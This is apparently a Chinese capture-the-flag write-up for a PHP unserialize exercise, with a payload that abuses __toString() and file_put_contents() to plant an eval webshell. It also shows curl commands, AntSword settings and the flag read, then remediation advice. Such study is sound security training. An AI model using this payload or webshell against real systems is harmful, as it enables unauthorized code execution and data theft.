【好靶场】PHP反序列化入门练习3
2026/8/24 13:22:19 网站建设 项目流程

【好靶场】PHP反序列化入门练习

  • 【好靶场】PHP反序列化入门练习3
    • 前置知识
      • 1. PHP 反序列化基础
      • 2. `public` 属性可以直接被控制
      • 3. `__toString()` 魔术方法
      • 4. `file_put_contents()` 文件写入函数
      • 5. `__toString()` 必须返回字符串
      • 6. 序列化字符串长度必须准确
      • 7. URL 编码基础
      • 本题前置知识小结
    • 一、题目源码与利用思路
    • 二、Payload 构造与提交
      • 1. 使用 PHP 生成 Payload
      • 2. Payload 分析
      • 3. URL 编码提交
    • 三、使用蚁剑连接生成的 PHP 文件
      • 1. 打开蚁剑并添加数据
      • 2. 测试连接
      • 3. 蚁剑连接失败时的排查思路
      • 4. 获取flag
    • 四、漏洞分析与修复
      • 1. 漏洞原因
      • 2. 推荐修复方式:禁止反序列化外部输入
      • 3. 限制文件名和文件后缀
      • 4. 必须使用序列化时,限制类和数据完整性
    • 五、总结

【好靶场】PHP反序列化入门练习3

本文仅用于授权靶场、CTF 练习和本地安全学习,禁止用于未授权测试。
文中生成的 PHP 文件和命令执行代码仅限靶场环境验证。

对,这篇也应该保留“前置知识”,否则直接进入WriteFile__toString(),初学者会感觉跳跃。

建议把下面内容放在“前言”之后、“题目源码与利用思路”之前。它的篇幅和详细程度与前两篇保持一致。


前置知识

学习本题前,需要掌握 PHP 反序列化、__toString()魔术方法、文件写入函数以及 Payload 长度计算等基础知识。

1. PHP 反序列化基础

PHP 可以通过serialize()将对象转换为字符串:

<?phpclassUser{public$name='test';}$obj=newUser();echoserialize($obj);

输出结果:

O:4:"User":1:{s:4:"name";s:4:"test";}

其中:

标识含义
OObject,对象
4:"User"类名为User,长度为 4
1对象包含 1 个属性
s:4:"name"属性名name,长度为 4
s:4:"test"属性值test,长度为 4

随后可以使用unserialize()将字符串还原成对象:

<?php$data='O:4:"User":1:{s:4:"name";s:4:"test";}';$obj=unserialize($data);echo$obj->name;

输出:

test

如果服务端将用户提交的数据直接传入:

unserialize($data);

攻击者就可能自行构造对象,并控制对象中的属性值。


2.public属性可以直接被控制

PHP 对象中的public属性,在序列化后会直接使用属性原名。

例如:

classWriteFile{public$filename;public$content;}

序列化后的属性名称为:

s:8:"filename" s:7:"content"

因此,本题可以直接控制:

$filename$content

如果属性是protectedprivate,序列化后的属性名会包含不可见的空字节:

\0*\0 \0类名\0

手工构造时会更加复杂。

本题的两个属性都是public,所以不需要处理额外的作用域信息。


3.__toString()魔术方法

__toString()是 PHP 的字符串转换魔术方法。

当对象被当作字符串使用时,PHP 会自动调用这个方法。

常见触发方式包括:

echo$obj;
print$obj;
$message='Object: '.$obj;
(string)$obj;

示例:

<?phpclassDemo{publicfunction__toString(){return'Hello PHP';}}$obj=newDemo();echo$obj;

执行过程为:

echo $obj ↓ PHP 发现 $obj 是对象 ↓ 自动调用 $obj->__toString() ↓ 输出 Hello PHP

本题中的关键触发点就是:

echo$obj;

如果WriteFile::__toString()中包含危险操作,就会在对象被输出时自动执行。


4.file_put_contents()文件写入函数

file_put_contents()用于将字符串写入文件:

<?phpfile_put_contents('test.txt','hello');

执行后,当前目录下会生成:

test.txt

文件内容为:

hello

函数的基本格式为:

file_put_contents(文件路径,文件内容);

本题中的代码为:

file_put_contents($this->filename,$this->content);

如果这两个属性均由用户控制,就可能变成:

file_put_contents('shell.php','<?php ... ?>');

这就产生了任意文件写入风险。

如果写入位置位于 Web 可访问目录,并且服务器会解析 PHP 文件,那么任意文件写入可能进一步升级为代码执行。


5.__toString()必须返回字符串

在较新的 PHP 版本中,__toString()方法必须返回字符串。

正确示例:

publicfunction__toString(){file_put_contents($this->filename,$this->content);return'write success';}

如果方法只执行写入操作,但没有返回值,可能出现对象无法转换为字符串的错误。

因此,分析题目源码时,需要同时关注:

  1. __toString()是否会被触发;
  2. 方法内部是否存在危险操作;
  3. 方法最后是否返回字符串。

6. 序列化字符串长度必须准确

PHP 序列化字符串中的长度按照字节计算:

s:字节长度:"字符串内容"

例如:

s:9:"shell.php"

因为:

shell.php

一共有 9 个 ASCII 字符。

本题中的 PHP 内容:

<?php@eval($_POST['cmd']);?>

长度为 29 个字节,因此对应:

s:29:"<?php @eval($_POST['cmd']);?>"

如果修改了文件名或文件内容,必须同步修改长度字段。

推荐使用 PHP 自动生成 Payload:

$payload=serialize($obj);

这样可以避免手工计算错误。


7. URL 编码基础

如果序列化字符串通过 GET 参数提交,Payload 中的特殊字符可能会影响 URL 解析,例如:

: " { } < > $ [ ] ;

因此提交前通常需要进行 URL 编码。

例如:

:

编码为:

%3A

也可以使用命令行工具自动编码:

curl--get"http://<靶场地址>/"\--data-urlencode'ser_data=<序列化Payload>'

使用--data-urlencode可以避免手动处理特殊字符。


本题前置知识小结

本题需要掌握的知识可以概括为:

unserialize() ↓ 还原 WriteFile 对象 ↓ 控制 public 属性 ↓ echo 对象 ↓ 触发 __toString() ↓ 调用 file_put_contents()

后续题解中,重点关注以下三个位置:

unserialize($ser_data);
echo$obj;
file_put_contents($this->filename,$this->content);

这三处代码共同组成了本题的完整利用链。


一、题目源码与利用思路

本题考察 PHP 反序列化与__toString()魔术方法的结合利用。

题目源码

<?php//代码仅作为分析和参考,不保证一定可以执行。classWriteFile{public$filename="test.txt";public$content="test content";publicfunction__toString(){file_put_contents($this->filename,$this->content);return"写入成功";}}$obj=@unserialize($ser_data);if($obj!==false&&$objinstanceofWriteFile){echo$obj;// 触发__toString}?>

当 PHP 将对象当作字符串输出时,会自动调用对象的__toString()方法,例如:

echo$obj;

如果$obj是一个对象,PHP 就会尝试调用:

$obj->__toString();

靶场给出的核心代码可以抽象为:

<?phpclassWriteFile{public$filename;public$content;publicfunction__toString(){file_put_contents($this->filename,$this->content);// __toString() 必须返回字符串return'write success';}}$ser_data=$_GET['ser_data']??'';$obj=unserialize($ser_data);echo$obj;

代码中的关键漏洞有两个:

$obj=unserialize($ser_data);

服务端直接反序列化用户可控数据。

echo$obj;

反序列化得到WriteFile对象后,echo会触发__toString(),进而执行:

file_put_contents($this->filename,$this->content);

由于filenamecontent都是public公有属性,因此可以直接通过序列化字符串控制:

  • 写入文件的名称;
  • 写入文件的内容。

完整利用链如下:

构造 WriteFile 对象 ↓ 控制 filename 为 shell.php ↓ 控制 content 为 PHP 代码 ↓ 提交序列化 Payload ↓ unserialize() 还原对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 写入 PHP 文件 ↓ 访问生成的 shell.php

二、Payload 构造与提交

1. 使用 PHP 生成 Payload

建议使用 PHP 的serialize()自动生成 Payload,避免手动计算字符串长度出错。

<?phpclassWriteFile{public$filename;public$content;publicfunction__toString(){return'write success';}}$obj=newWriteFile();// 设置写入文件名$obj->filename='shell.php';// 设置写入内容$obj->content="<?php @eval(\$_POST['cmd']);?>";// 生成序列化 Payload$payload=serialize($obj);echo$payload.PHP_EOL;

运行后得到:

O:9:"WriteFile":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}

2. Payload 分析

最终 Payload:

O:9:"WriteFile":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}

各部分含义如下:

片段含义
OObject,对象
9:"WriteFile"类名为WriteFile,长度为 9
2对象包含 2 个属性
s:8:"filename"属性名filename,长度为 8
s:9:"shell.php"属性值为shell.php,长度为 9
s:7:"content"属性名content,长度为 7
s:29:"..."PHP 文件内容,长度为 29

关键长度如下:

WriteFile = 9 filename = 8 shell.php = 9 content = 7 <?php @eval($_POST['cmd']);?> = 29

其中:

<?php @eval($_POST['cmd']);?>

一共 29 个 ASCII 字节,因此必须写成:

s:29:"<?php @eval($_POST['cmd']);?>"

如果长度写错,例如:

s:28:"<?php @eval($_POST['cmd']);?>"

就可能导致unserialize()解析失败。


3. URL 编码提交

提交后,如果文件写入成功,可以访问:

http://hbc2.haobachang.com:43079/shell.php

这里需要注意,相对路径:

file_put_contents('shell.php',$content);

最终写入的位置取决于 PHP 当前工作目录。文件写入成功后,只有当该目录位于 Web 可访问目录中,才能通过/shell.php直接访问。


三、使用蚁剑连接生成的 PHP 文件

本题写入的文件内容为:

<?php@eval($_POST['cmd']);?>

它会接收 POST 参数cmd,并将参数内容交给eval()执行。

由于蚁剑连接 PHP WebShell 时,会通过 POST 参数发送数据,因此可以使用cmd作为连接密码参数。

1. 打开蚁剑并添加数据

启动蚁剑后,右键左侧空白区域,选择:

添加数据

填写以下内容:

URL: http://hbc2.haobachang.com:43079/shell.php 连接密码: cmd

保存后双击该数据,蚁剑会尝试连接目标文件。


2. 测试连接

如果连接成功,蚁剑通常会显示目标主机的基本信息。

可以在终端中执行一些无害命令验证连接状态,例如:

whoami
pwd
id

如果能够正常返回结果,说明:

PHP 文件已经成功写入 ↓ 生成的 shell.php 可以被访问 ↓ 蚁剑能够通过 POST 参数 cmd 与其通信

3. 蚁剑连接失败时的排查思路

如果蚁剑无法连接,可以依次检查:

  1. shell.php是否真的写入成功;
  2. 文件是否位于 Web 可访问目录;
  3. URL 是否填写正确;
  4. 蚁剑密码是否填写为cmd
  5. 目标页面是否支持 POST 请求;
  6. Payload 中content的长度是否正确;
  7. PHP 文件是否被服务器当作普通文本返回;
  8. 题目是否对 PHP 文件后缀或访问路径做了限制。

如果直接访问:

http://hbc2.haobachang.com:43079/shell.php

返回空白,不一定代表写入失败。

因为代码使用的是:

eval($_POST['cmd']);

没有提交cmd参数时,页面可能不会显示明显内容。

可以先使用命令行进行测试:

curl-XPOST"http://hbc2.haobachang.com:43079/shell.php"\--data-urlencode"cmd=echo 'test';"

如果页面返回:

test

说明文件已经可以执行。

蚁剑连接和命令执行操作仅限授权靶场或本地环境,测试完成后应删除生成的 WebShell 文件。

4. 获取flag

打开链接上的终端,输入

cat/tmp/flag.txt


最终获取到的flag为

flag{13e55976e2ba423bb9778c66dbfecd76}

四、漏洞分析与修复

1. 漏洞原因

本题的漏洞链路为:

用户可控的序列化字符串 ↓ unserialize() 还原攻击者构造的对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 使用可控参数 ↓ 任意文件写入

危险代码主要包括:

$obj=unserialize($ser_data);

以及:

file_put_contents($this->filename,$this->content);

服务端既没有限制反序列化的类,也没有验证文件名和文件内容,导致攻击者能够控制完整的文件写入操作。

如果攻击者将文件写入 Web 根目录,并且文件内容包含 PHP 代码,就可能进一步形成代码执行。


2. 推荐修复方式:禁止反序列化外部输入

最优方案是不要对用户提交的数据使用unserialize()

如果只是传输普通数据,可以使用 JSON:

<?php$input=$_POST['data']??'';$data=json_decode($input,true);if(!is_array($data)){exit('非法参数');}$content=$data['content']??'';if(!is_string($content)){exit('内容格式错误');}// 使用服务端固定目录和固定文件名$filename=__DIR__.'/data/output.txt';if(file_put_contents($filename,$content)===false){exit('写入失败');}echo'write success';

这里的关键改进是:

  • 不再使用unserialize()
  • 不允许用户自由指定任意路径;
  • 使用服务端固定目录;
  • 限制写入内容类型;
  • 不让用户直接写入 PHP 文件。

3. 限制文件名和文件后缀

如果业务确实需要用户选择文件名,应该使用白名单:

<?php$allowedFiles=['avatar.jpg','report.txt','data.json'];$filename=$_POST['filename']??'';if(!in_array($filename,$allowedFiles,true)){exit('非法文件名');}$path=__DIR__.'/uploads/'.$filename;

还应禁止:

../ ../../ /etc/passwd C:\Windows\ shell.php shell.phtml

同时,上传目录应禁止执行 PHP 脚本。


4. 必须使用序列化时,限制类和数据完整性

如果历史原因必须保留序列化数据,可以在验签后再进行反序列化:

<?php$data=$_POST['data']??'';$sign=$_POST['sign']??'';$secret=$_ENV['SERIALIZE_SECRET']??'';$expected=hash_hmac('sha256',$data,$secret);if(!hash_equals($expected,$sign)){exit('数据校验失败');}$obj=unserialize($data,['allowed_classes'=>false]);

如果业务确实需要还原某个类,也应该使用严格的类白名单:

$obj=unserialize($data,['allowed_classes'=>['SafeData']]);

但需要注意:

allowed_classes只能限制允许实例化哪些类,不能代替文件路径校验、后缀校验和权限控制。

对于本题的WriteFile类,即使将它加入白名单,也不能阻止攻击者修改:

$filename$content

因此,最根本的修复仍然是:

不对用户可控数据直接使用unserialize(),并禁止用户控制任意文件路径和脚本内容。


五、总结

本题的完整利用过程如下:

找到 WriteFile 类 ↓ 确认 filename 和 content 是 public 属性 ↓ 将 filename 设置为 shell.php ↓ 将 content 设置为 PHP 代码 ↓ 构造序列化 Payload ↓ 提交 ser_data 参数 ↓ unserialize() 还原 WriteFile 对象 ↓ echo $obj 触发 __toString() ↓ file_put_contents() 写入 shell.php ↓ 访问 shell.php ↓ 使用蚁剑连接验证

最终 Payload:

O:9:"WriteFile":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}

蚁剑连接配置:

URL: http://hbc2.haobachang.com:43079/shell.php 连接密码: cmd 连接类型: PHP

本题的核心考点是:

  1. 理解__toString()的自动触发机制;
  2. 认识echo $obj可能触发对象方法;
  3. 通过反序列化控制对象的public属性;
  4. 理解file_put_contents()导致的任意文件写入;
  5. 掌握 URL 编码和序列化字符串长度计算;
  6. 了解任意文件写入进一步升级为代码执行的条件;
  7. 掌握蚁剑通过 POST 参数连接 PHP WebShell 的基本方法。

最终漏洞链可以概括为:

可控反序列化 ↓ WriteFile 对象 ↓ echo 触发 __toString() ↓ 控制文件名和文件内容 ↓ 任意文件写入 ↓ 生成 PHP 文件 ↓ 蚁剑连接

这道题相比前两题更进一步:

练习 1:属性篡改 → 逻辑绕过 练习 2:属性篡改 → __destruct() → 命令执行 练习 3:属性篡改 → __toString() → 任意文件写入

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询